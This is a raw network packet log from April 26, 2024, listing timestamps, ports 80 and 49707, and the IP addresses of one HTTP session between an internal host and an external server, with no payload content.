Apr 26, 2024 11:06:00.983197927 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983249903 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.983283043 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983350039 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983402967 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.983465910 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983515978 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983566999 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.983601093 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983649969 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983699083 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.983707905 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983726025 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983778000 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.983807087 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983841896 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983891010 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.983903885 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983957052 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.984008074 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.984011889 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.984059095 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.984133005 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.984155893 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.984246016 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.984272003 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.984297037 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.984373093 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.984385014 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.984424114 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.984452963 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.984500885 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.221856117 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.221887112 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.221976042 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.221976042 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.222059011 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222140074 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222198963 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.222202063 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222245932 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222299099 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.222300053 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222354889 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222359896 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.222398043 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222433090 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222453117 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.222496033 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222543955 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222600937 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222600937 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.222675085 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222724915 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.222757101 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222769976 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222809076 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.222816944 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222882032 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.222934008 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.222939968 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.223005056 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.223053932 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.223057985 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.223103046 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.223136902 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.223254919 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.223310947 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.223592043 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.223892927 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.223933935 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.223975897 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.224015951 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224056005 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224107027 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224126101 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.224162102 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224200964 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224215031 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.224242926 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.224258900 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224334955 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224373102 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224390984 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.224419117 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224463940 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224473000 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.224515915 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224564075 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224570036 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.224612951 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224667072 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.224695921 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224739075 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224781990 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224828959 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.224833965 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224910021 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.224924088 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.224986076 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225032091 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225048065 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.225085020 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225136042 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225137949 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.225183010 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225230932 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225233078 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.225279093 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225331068 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225332022 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.225389004 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225438118 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225440025 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.225472927 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225522041 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.225528955 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225616932 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225672960 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225675106 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.225714922 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225750923 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225764990 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.225812912 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225862980 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.225864887 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225915909 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225963116 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.225964069 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.226012945 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226066113 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.226072073 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226089954 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226151943 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.226166964 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226210117 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226259947 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.226268053 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226301908 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226351023 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.226409912 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226469040 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226520061 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.226547003 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226593971 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226644039 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.226651907 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226706028 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226722002 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226774931 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.226816893 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.226881981 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.461555004 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.461571932 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.461657047 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.461675882 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.461754084 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.461803913 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.461929083 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.461983919 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462025881 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462054014 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.462099075 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462150097 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.462150097 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462188005 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462230921 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.462276936 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462296009 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462342024 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.462347031 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462412119 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462456942 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462456942 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.462512970 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462553978 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462565899 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.462599039 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462625980 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462650061 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.462754965 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462768078 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462802887 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.462821007 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462852955 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462862968 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.462877035 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.462924957 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.462961912 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463004112 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463042974 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463053942 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.463098049 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463150978 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.463181019 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463219881 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463244915 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463277102 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.463320017 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463363886 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.463395119 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463422060 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463470936 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.463476896 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463524103 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463572025 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.463594913 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463695049 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463707924 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463730097 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463762999 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.463762999 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.463768959 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463836908 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463884115 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463886976 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.463918924 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.463963032 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.463968992 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464054108 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464096069 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464116096 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.464143038 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464190960 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.464206934 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464303970 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464344978 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464355946 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.464400053 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464462996 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464464903 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.464535952 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464589119 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.464634895 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464668989 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464720964 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.464742899 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464792013 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.464842081 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.464865923 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465003014 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465068102 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.465079069 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465142965 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465154886 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465198994 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.465224981 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465270042 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465275049 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.465317011 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465351105 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465373993 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.465445042 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465488911 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.465501070 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465529919 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465573072 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.465610981 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465637922 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465682030 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465742111 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.465755939 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465781927 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465811014 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.465821981 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465878963 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.465883970 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465939045 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465976954 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.465986967 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.466032028 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466082096 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466084957 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.466140985 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466191053 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.466203928 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466223001 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466272116 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.466281891 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466336012 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466401100 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.466402054 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466449976 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466474056 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466501951 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.466551065 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466600895 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.466603041 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466649055 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466701031 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466702938 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.466741085 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466795921 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.466855049 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466907024 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466952085 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.466953039 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.467010975 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467057943 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.467068911 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467127085 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467158079 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467175007 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.467211962 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467256069 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.467262983 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467327118 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467366934 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467375040 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.467420101 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467468977 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.467470884 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467514992 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467565060 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.467577934 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467595100 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467643023 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.467667103 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467688084 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467746973 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.467749119 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467808962 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467848063 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467859983 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.467967033 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.467983961 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.468014002 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.468084097 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.468111992 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.468142986 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.468179941 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:01.468229055 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:01.468291998 CEST	80	49707	185.172.128.59	192.168.2.5
